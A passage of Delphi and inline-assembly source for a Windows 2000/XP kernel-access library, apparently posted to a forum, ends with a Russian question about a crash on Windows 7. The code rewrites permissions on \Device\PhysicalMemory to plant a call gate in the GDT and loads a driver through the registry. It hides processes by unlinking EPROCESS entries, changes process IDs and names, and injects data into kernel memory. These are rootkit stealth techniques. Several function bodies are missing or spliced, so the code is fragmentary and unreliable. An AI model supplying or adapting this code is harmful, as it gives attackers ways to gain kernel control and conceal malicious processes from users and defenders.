GateType: dword;
KernelBase : dword; // адрес ядра в памяти
dKernelBase: dword; // адрес ядра подгруженного в User Space
hPhysMem: dword; // хэндл секции \Device\PhysicalMemory
hDriver: dword;
UndocData : packed record
{00} BaseProcStrAdr : dword; // адрес первой EPROCESS
{04} ActivePsListOffset: dword; // смещение ActivePsList в EPROCESS
{08} PidOffset: dword; // смещение ProcessID в EPROCESS
{0C} NameOffset: dword; // смещение ImageName в EPROCESS
{10} ppIdOffset: dword; // смещение ParrentPid в EPROCESS
{14} ImgNameOffset: dword; // смещение ImageFileName в EPROCESS
end;
{ перезагрузка регистра FS и вызов Ring0 кода }
procedure Ring0CallProc;
asm
cli
pushad
pushfd
mov di, $30
mov fs, di
call Ring0ProcAdr
mov di, $3B
mov fs, di
popfd
popad
sti
retf
end;
{ Открытие физической памяти }
function OpenPhysicalMemory(mAccess: dword): THandle;
var
PhysMemString: TUnicodeString;
Attr: TObjectAttributes;
OldAcl, NewAcl: PACL;
SD: PSECURITY_DESCRIPTOR;
Access: EXPLICIT_ACCESS;
mHandle: dword;
begin
Result := 0;
RtlInitUnicodeString(@PhysMemString, MemDeviceName);
InitializeObjectAttributes(@Attr, @PhysMemString, OBJ_CASE_INSENSITIVE or
OBJ_KERNEL_HANDLE, 0, nil);
if ZwOpenSection(@mHandle, READ_CONTROL or
WRITE_DAC , @Attr) <> STATUS_SUCCESS then Exit;
if GetSecurityInfo(mHandle, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, @OldAcl, nil, SD) <> ERROR_SUCCESS then Exit;
with Access do
begin
grfAccessPermissions := mAccess;
grfAccessMode := GRANT_ACCESS;
grfInheritance := NO_INHERITANCE;
Trustee.pMultipleTrustee := nil;
Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
Trustee.TrusteeForm := TRUSTEE_IS_NAME;
Trustee.TrusteeType := TRUSTEE_IS_USER;
Trustee.ptstrName := 'CURRENT_USER';
end;
{
Получение физического адреса из виртуального.
Действительно только для Nonpaged Memory.
}
function QuasiMmGetPhysicalAddress(VirtualAddress: dword;
var Offset: dword): dword;
begin
Offset := VirtualAddress and $FFF;
if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
Result := VirtualAddress and $1ffff000
else Result := VirtualAddress and $fff000;
end;
{ установка калгейта }
Function InstallCallgate(hPhysMem: dword): boolean;
var
gdt: TGDTInfo;
offset, base_address: DWORD;
begin
Result := false;
if hPhysMem = 0 then Exit;
asm sgdt [gdt] end;
base_address := QuasiMmGetPhysicalAddress(gdt.Base, offset);
ptrGDT := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, base_address, gdt.limit + offset);
if ptrGDT = nil then Exit;
CurrentGate := PGateDescriptor(DWORD(ptrGDT) + offset);
repeat
CurrentGate := PGateDescriptor(DWORD(CurrentGate) + SizeOf(TGateDescriptor));
if (CurrentGate.Attributes and $FF00) = 0 then
begin
OldGate := CurrentGate^;
CurrentGate.Selector := $08; // ring0 code selector
CurrentGate.OffsetLo := DWORD(@Ring0CallProc);
CurrentGate.OffsetHi := DWORD(@Ring0CallProc) shr 16;
CurrentGate.Attributes := $EC00;
FarCall.Offset := 0;
FarCall.Selector := DWORD(CurrentGate) - DWORD(ptrGDT) - offset;
Break;
end;
until DWORD(CurrentGate) >= DWORD(ptrGDT) + gdt.limit + offset;
FlushViewOfFile(CurrentGate, SizeOf(TGateDescriptor));
Result := true;
end;
{
Получение виртуального адреса для модуля
загруженного в системное адресное пространство.
}
function GetKernelModuleAddress(pModuleName: PChar): dword;
var
Info: PSYSTEM_MODULE_INFORMATION_EX;
R: dword;
begin
Result := 0;
Info := GetInfoTable(SystemModuleInformation);
for r := 0 to Info^.ModulesCount do
if lstrcmpi(PChar(dword(@Info^.Modules[r].ImageName)
+ Info^.Modules[r].ModuleNameOffset), pModuleName) = 0 then
begin
Result := dword(Info^.Modules[r].Base);
break;
end;
VirtualFree(Info, 0, MEM_RELEASE);
end;
{
Получение физического адреса по виртуальному.
Действительно для любых регионов памяти.
}
Function GetPhysicalAddress(VirtualAddress: dword): LARGE_INTEGER; stdcall;
var
Data : packed record
VirtualAddress: dword;
Result: LARGE_INTEGER;
end;
begin
Data.VirtualAddress := VirtualAddress;
CallRing0(@Ring0Call, @Data);
Result.QuadPart := Data.Result.QuadPart;
end;
{
Отображение участка виртуальной памяти в
текушем процессе через физическую память.
}
function MapVirtualMemory(vAddress: pointer; Size: dword): pointer;
var
MappedAddress: LARGE_INTEGER;
begin
Result := nil;
MappedAddress := GetPhysicalAddress(dword(vAddress));
if MappedAddress.QuadPart = 0 then Exit;
Result := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, MappedAddress.LowPart, Size);
end;
{
Копирование участка памяти из 0 кольца.
Можно работать с памятью ядра.
ВНИМАНИЕ! некорректная запись в память ядра приведет к падению системы!
}
Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword);
var
Data : packed record
Src: pointer;
Dst: pointer;
Size: dword;
end;
{ Получение адреса ядерной API в системном адресном пространстве. }
Function GetKernelProcAddress(lpProcName: PChar): dword;
var
uProc: dword;
begin
uProc := dword(GetProcAddress(dKernelBase, lpProcName));
if uProc > 0 then Result := (uProc - dKernelBase) + KernelBase
else Result := 0;
end;
{ получение указателя на структуру EPROCESS для System }
function GetSystemEPROCESS(): dword;
var
Data: packed record
UndocAdr: pointer;
Result: dword;
end;
begin
Data.UndocAdr := @UndocData;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
{ создание записи о драйвере в реестре. }
Procedure InstallDriver();
var
Key, Key2: HKEY;
Pth: PChar;
dType: dword;
Image: array [0..MAX_PATH] of Char;
begin
lstrcpy(Image, '\??\');
GetFullPathName('Ring0Port.sys', MAX_PATH, PChar(dword(@Image) + 4), Pth);
dType := 1;
RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
RegCreateKey(Key, 'KernelPort', Key2);
RegSetValueEx(Key2, 'ImagePath', 0, REG_SZ, @Image, lstrlen(Image));
RegSetValueEx(Key2, 'Type', 0, REG_DWORD, @dType, SizeOf(dword));
RegCloseKey(Key2);
RegCloseKey(Key);
end;
{ удалние из реестра записи о драйвере. }
Procedure UninstallDriver();
var
Key: HKEY;
begin
RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
RegDeleteKey(Key, 'KernelPort');
RegCloseKey(Key);
end;
{ загрузка драйвера и открытие его устройства. }
Function OpenDriver(): THandle;
var
Image: TUnicodeString;
begin
InstallDriver();
RtlInitUnicodeString(@Image, Driver);
ZwLoadDriver(@Image);
Result := CreateFile('\\.\Ring0Port', GENERIC_WRITE, 0,
nil, OPEN_EXISTING, 0, 0);
end;
{ открытие памяти и установка калгейта. }
Function InitializeCallGate(): boolean;
begin
Result := false;
hPhysMem := OpenPhysicalMemory(SECTION_MAP_READ or SECTION_MAP_WRITE);
if hPhysMem = 0 then Exit;
Result := InstallCallgate(hPhysMem);
end;
function InitializeDriverGate(): boolean;
begin
hDriver := OpenDriver();
Result := hDriver <> INVALID_HANDLE_VALUE;
end;
{ Инициализация Ring0 библиотеки. }
function InitialzeRing0Library(Ring0GateType: dword): boolean;
var
Version: TOSVersionInfo;
begin
Result := false;
Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(Version);
if Version.dwMajorVersion <> 5 then Exit;
case Version.dwBuildNumber of
2195 : begin // Windows 2000
UndocData.ActivePsListOffset := $0A0;
UndocData.PidOffset := $09C;
UndocData.NameOffset := $1FC;
UndocData.ppIdOffset := $1C8;
UndocData.ImgNameOffset := $000;
end;
2600 : begin // Windows XP
UndocData.ActivePsListOffset := $088;
UndocData.PidOffset := $084;
UndocData.NameOffset := $174;
UndocData.ppIdOffset := $14C;
UndocData.ImgNameOffset := $1F4;
end;
else Exit;
end;
case GateType of
CALL_GATE : Result := InitializeCallGate();
DRIVER_GATE : Result := InitializeDriverGate();
end;
if Result then UndocData.BaseProcStrAdr := GetSystemEPROCESS();
end;
Procedure FreeDriver();
var
Image: TUnicodeString;
begin
CloseHandle(hDriver);
RtlInitUnicodeString(@Image, Driver);
ZwUnloadDriver(@Image);
UninstallDriver();
end;
{ Освобождение ресурсов библиотеки }
Procedure FreeRing0Library();
begin
case GateType of
CALL_GATE : begin
UninstallCallgate();
CloseHandle(hPhysMem);
end;
DRIVER_GATE : FreeDriver();
end;
FreeLibrary(dKernelBase);
end;
{
Получение по ProcessId указателя на струкруру ядра EPROCESS
связанную с данным процессом.
}
Function GetEPROCESSAdr(ProcessId: dword): dword;
var
Data: packed record
UndocAdr: pointer;
ProcessId: dword;
Result: dword;
end;
@Find:
mov edx, [eax + edi] //ActivePs.Pid
cmp edx, ecx //compare process id
jz @Found
mov eax, [eax + esi] // ActivePsList.Flink
sub eax, esi //sub ActivePsListOffset
cmp eax, [ebx] //final
jz @End
jmp @Find
@Found:
pop edx
mov [edx + $08], eax //save result
ret
@End:
pop edx
mov [edx + $08], 0
ret
end;
begin
Data.UndocAdr := @UndocData;
Data.ProcessId := ProcessId;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
{
Скрытие процесса по указателю на структуру ядра EPROCESS.
Неправильный указатель может привести к краху системы!
}
Procedure HideProcessEx(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
{
Скрытие процесса по ProcessId.
В случае удачи возвращает указатель на EPROCESS, иначе 0.
}
function HideProcess(ProcessId: dword): dword;
var
OldPriority: dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
Result := GetEPROCESSAdr(ProcessId);
HideProcessEx(Result);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{ Восстановление процесса в списке процессов по указателю на EPROCESS. }
Procedure ShowProcess(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
{ Получение списка процессов прямым доступом к структурам ядра. }
function GetProcesses(): PSYS_PROCESSES;
var
Eprocess: array [0..$600] of byte;
CurrentStruct: dword;
CurrSize: dword;
OldPriority: dword;
begin
CurrSize := SizeOf(TSYS_PROCESSES);
GetMem(Result, CurrSize);
ZeroMemory(Result, CurrSize);
ZeroMemory(@Eprocess, $600);
CurrentStruct := UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
repeat
CurrentStruct := CurrentStruct - UndocData.ActivePsListOffset;
Ring0CopyMemory(pointer(CurrentStruct), @Eprocess, $220);
if pdword(dword(@Eprocess) + UndocData.ppIdOffset)^ > 0 then
begin
Inc(CurrSize, SizeOf(TPROCESS));
ReallocMem(Result, CurrSize);
Result^.Process[Result^.ProcessesCount].ProcessId :=
pdword(dword(@Eprocess) + UndocData.PidOffset)^;
Result^.Process[Result^.ProcessesCount].pEPROCESS := CurrentStruct;
lstrcpyn(@Result^.Process[Result^.ProcessesCount].ImageName,
PChar(dword(@Eprocess) + UndocData.NameOffset), 16);
Result^.Process[Result^.ProcessesCount].ParrentPid :=
pdword(dword(@Eprocess) + UndocData.ppIdOffset)^;
Inc(Result^.ProcessesCount);
end;
CurrentStruct := pdword(dword(@Eprocess) + UndocData.ActivePsListOffset)^;
if CurrentStruct < $80000000 then break;
until CurrentStruct = UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{ Смена Id процесса по указателю на EPROCESS. }
Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
NewId: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax]
mov esi, [eax + $04] // pEPROCESS
add esi, [ebx + $08] // @pEPROCESS.ProcessId
mov eax, [eax + $08] // NewId
mov [esi], eax
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
Data.NewId := NewPid;
CallRing0(@Ring0Call, @Data);
end;
{ Смена Id процесса. }
Procedure ChangeProcessId(OldPid: dword; NewPid: dword);
var
OldPriority: dword;
pEPROCESS : dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
pEPROCESS := GetEPROCESSAdr(OldPid);
ChangeProcessIdEx(pEPROCESS, NewPid);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{
Смена имени процесса по указателю на его EPROCESS.
}
Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar);
var
Data: packed record
{00} UndocAdr: pointer;
{04} pEPROCESS: dword;
{08} NewName: array [0..15] of Char;
{18} UnicName: array [0..15] of WideChar;
{38} UnicLength: word;
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
lstrcpyn(Data.NewName, NewName, 16);
StringToWideChar(NewName, @Data.UnicName, 16);
Data.UnicLength := lstrlen(NewName);
CallRing0(@Ring0Call, @Data);
end;
{ Смена имени процесса. }
Procedure ChangeProcessName(ProcessId: dword; NewName: PChar);
var
OldPriority: dword;
pEPROCESS : dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
pEPROCESS := GetEPROCESSAdr(ProcessId);
ChangeProcessNameEx(pEPROCESS, NewName);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{
Выделение участка памяти в NonPaged Pool и копирование в него данных.
Mem - адрес участка памяти,
Size - размер участка памяти,
Result - адрес памяти в SystemSpace
}
function InjectDataToSystemMemory(Mem: pointer; Size: dword): dword;
var
Data: packed record
Mem: pointer;
Size: dword;
Result: dword;
end;
{ Разрешение / запркщение использования карты ввода - вывода для процесса. }
Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean);
var
Data : packed record
pEPROCESS: dword;
Access: dword;
end;
Ккомпилил код, все запустилось, однако на 7к при запуске происходит падение на этой строке db $0ff, $01d // call far [FarCall]. На васме последний комментарий с такой же проблемой, на него так и не ответили.